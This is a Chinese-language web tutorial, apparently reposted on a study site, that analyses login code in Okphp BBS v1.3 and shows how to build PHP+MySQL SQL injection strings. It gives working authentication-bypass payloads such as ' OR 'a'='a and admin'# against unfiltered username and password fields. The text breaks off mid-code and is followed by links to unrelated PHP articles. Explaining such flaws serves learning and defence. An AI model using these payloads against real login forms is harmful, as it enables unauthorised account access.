攻击方法注射语句构造php+mysql
以下是本站小编精心为大家整理的利用php+mysql注射语句构造的攻击方法,希望对大家有所帮助!更多内容请关注应届毕业生网!
一.前言:
版本信息:Okphp BBS v1.3 开源版
下载地址:
由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难,尤其是注射时语句的`构造方面更是个难点,本文主要是借对Okphp BBS v1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助。
声明:文章所有提到的“漏洞”,都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。
二.“漏洞”分析:
n/注射导致绕过身份验证漏洞:
代码:
$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password);
$q = "select id,group_id from $user_table where username='$username' and password='$password'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);
$q = "select id,group_id from $user_table where username='$username' and password='$password'"中
$username 和 $password 没过滤, 很容易就绕过。
对于select * from $user_table where username='$username' and password='$password'这样的语句改造的方法有:
构造1(利用逻辑运算):$username=' OR 'a'='a $password=' OR 'a'='a
相当于sql语句:
select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'
构造2(利用mysql里的注释语句# ,/* 把$password注释掉):$username=admin'#(或admin'/*)
即:
select * from $user_table where username='admin'#' and password='$password'"
相当于:
select * from $user_table where username='admin'
在admin/中$q语句中的$password在查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造2:
select id,group_id from $user_table where username='admin'#' and password='$password'"
相当于:
select id,group_id from $user_table where username='admin'
只要存在用户名为admin的就成立,如果不知道用户名,只知道对应的id,
我们就可以这样构造:$username=' OR id=1#
相当于:
select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注释掉)
我们接着往下看代码:
if ($row[0]) {
// If not admin or super moderator
if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) {
$login = 0;
}
else {
$login = 1;
}
}
// Fail to login---------------
if (!$login) {
write_log("Moderator login","0","password wrong");
echo "
-
PHP如何使用curl发送GET和POST请求
导语:PHP如何使用curl发送GET和POST请求,具体详情请阅读下面代码,更多详情请关注应届毕业生考试网。使用CURL发送请求的基本流程使用CURL的PHP扩展完成一个HTTP请求的发送一般有以下几个步骤:1.初始化连接句柄;2.设置CURL选项;3.执行并获取结果;4.释放VURL连接句柄。...
-
2017年PHP错误总结范文
导语:如果你还是PHP新手的话,不妨就找些PHP错误点来看看。下面的是本站小编为大家搜集的2017年PHP错误总结,供大家参考。错误总结PHP-不断更新(新手必看)做开发请开启全部错误提示:error_reporting=E_ALL|E_STRICT屏蔽错误提示等于掩耳盗铃。代码写规范,错误少一半...
-
如何在php与js中分别获取客户度mac地址
导语:如何在php与js中分别获取客户度mac地址的呢?学代码的你懂吗?下面的是本站小编为大家搜集的`相关资料,供大家参考。代码如下:<?phpclassMacAddr{public$returnArray=array();public$macAddr;function__contruct($os_type=null){if(is_null($os_type))$os_type=...
-
PHP将XML转为数组的方法
本文详细介绍了,在php编程中,将XML数据转换为数组的详细过程,剖析了xml转为php数组的具体方法,感兴趣的朋友可以参考学习下。PHPXML转数组首先,得到一个xml型的对象:复制代码代码示例:$resp=$this->c->execute($req,$sessionKey);//获得xml对象$items=$resp->items;...